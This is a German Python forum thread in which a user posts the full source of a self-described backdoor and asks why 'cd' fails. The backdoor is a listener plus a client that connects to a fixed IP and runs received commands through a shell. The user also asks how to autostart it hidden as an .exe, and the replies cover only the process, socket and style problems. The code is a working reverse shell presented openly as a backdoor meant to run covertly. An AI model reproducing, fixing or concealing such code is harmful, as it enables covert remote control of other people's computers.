Seite 1 von 1

"Backdoor" Fehler

Verfasst: Donnerstag 31. August 2017, 15:42
von darkblood092
Hallo habe eine Art Backdoor in Py geschrieben aber ein Befehl funktioniert nicht...
Ich kann den "cd .." nicht benutzen ! Kann mir wer helfen??
BackdoorSender

Code: Alles auswählen

import socket

host = ''
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(10)
print("Listening on 0.0.0.0:%s" % str(port))
connection, addr = s.accept()
print("Connection established to " + addr[0])
data = connection.recv(4098)
data = data.decode("latin-1")
print(data)
while True:
    cmd = input("Command: ")
    if cmd == "":
        continue
    connection.send(str.encode(cmd))
    if cmd == "quit":
        break
    data = connection.recv(4098)
    data = data.decode("latin-1")
    print(data)
connection.close()
Backdoor

Code: Alles auswählen

import socket
import subprocess

host = '192.168.178.86'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor running."))

while True:
    data = s.recv(4098)
    if data.decode == "quit":
        break
    proc = subprocess.Popen(data.decode("latin-1"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
                            stderr=subprocess.PIPE)
    stdout = proc.stdout.read()
    stderr = proc.stderr.read()
    s.send(stdout)
    s.send(stderr)
Ps:
Wäre auch cool wenn jemand eine Idee hat, wie ich die Backdoor (als .exe) in den Autostart packen kann und sie nur im Hintergrund arbeitet;)

LG Tom

Re: "Backdoor" Fehler

Verfasst: Donnerstag 31. August 2017, 15:54
von lutzhorn
in Befehl funktioniert nicht...
Ich kann den "cd .." nicht benutzen
Was erwartest Du denn? `subprocess.Popen` wird ausführen, was als Argument übergeben wird. Auswirkungen auf folgende Aufrufe von `subprocess.Popen` hat das aber nicht.

Re: "Backdoor" Fehler

Verfasst: Donnerstag 31. August 2017, 15:56
von __deets__
Das du cd nicht benutzen kannst liegt daran, dassdas Arbeitsverzeichnis der "Backdoor" automatisch uebernommen wird fuer jeden gestarteten Unterprozess.

Das zu aendern ist nicht einfach. Am besten waere es wahrscheinlich du fernsteuerst eine laufende Shell, statt jedes Kommando einzeln zu starten.

Dann gibt es noch die ueblichen Probleme:

- du verletzt die Konventionen des PEP-8 Coding styles. Dazu gehoert das Konstanten gross geschrieben werden.
- du schreibst Code direkt auf Modulebene, statt in Funktionen, die du dann aufrufst, und gegen versehentliches Ausfuehren mit 'if __name__ == '__main__'' schuetzt.
- du benutzt Sockets nicht richtig, weil du davon ausgehst, das alles, was du sendest, auch so ankommt. Das stimmt aber nicht, das recv kan auch mit einem beliebig kleinerem Ergebnis zurueckkommen. Du musst also ein Protokoll schreiben, um ganze Nachrichten zu verschicken und zu empfangen.

Last but not least: das was du da schreibst gibt es schon in der Form von SSH und Telnet. Warum benutzt du die nicht einfach?

Re: "Backdoor" Fehler

Verfasst: Donnerstag 31. August 2017, 15:58
von Sirius3
@darkblood092: so funktioniert Socket-Programmierung nicht. TCP ist ein Streaming-Protokoll. Du brauchst eine Kennzeichnung, dass eine Nachricht vollständig ist. Am besten Arbeitest Du auch nicht mit send/recv, sondern erzeugst mit makefile ein Dateiobjekt-ähnliches Interface.
Zum eigentlichen Problem: das aktuelle Verzeichnis wird für jeden Prozess festgelegt. Da Du jedesmal einen neuen Prozess startest, hat ein `cd` überhaupt keine Auswirkung.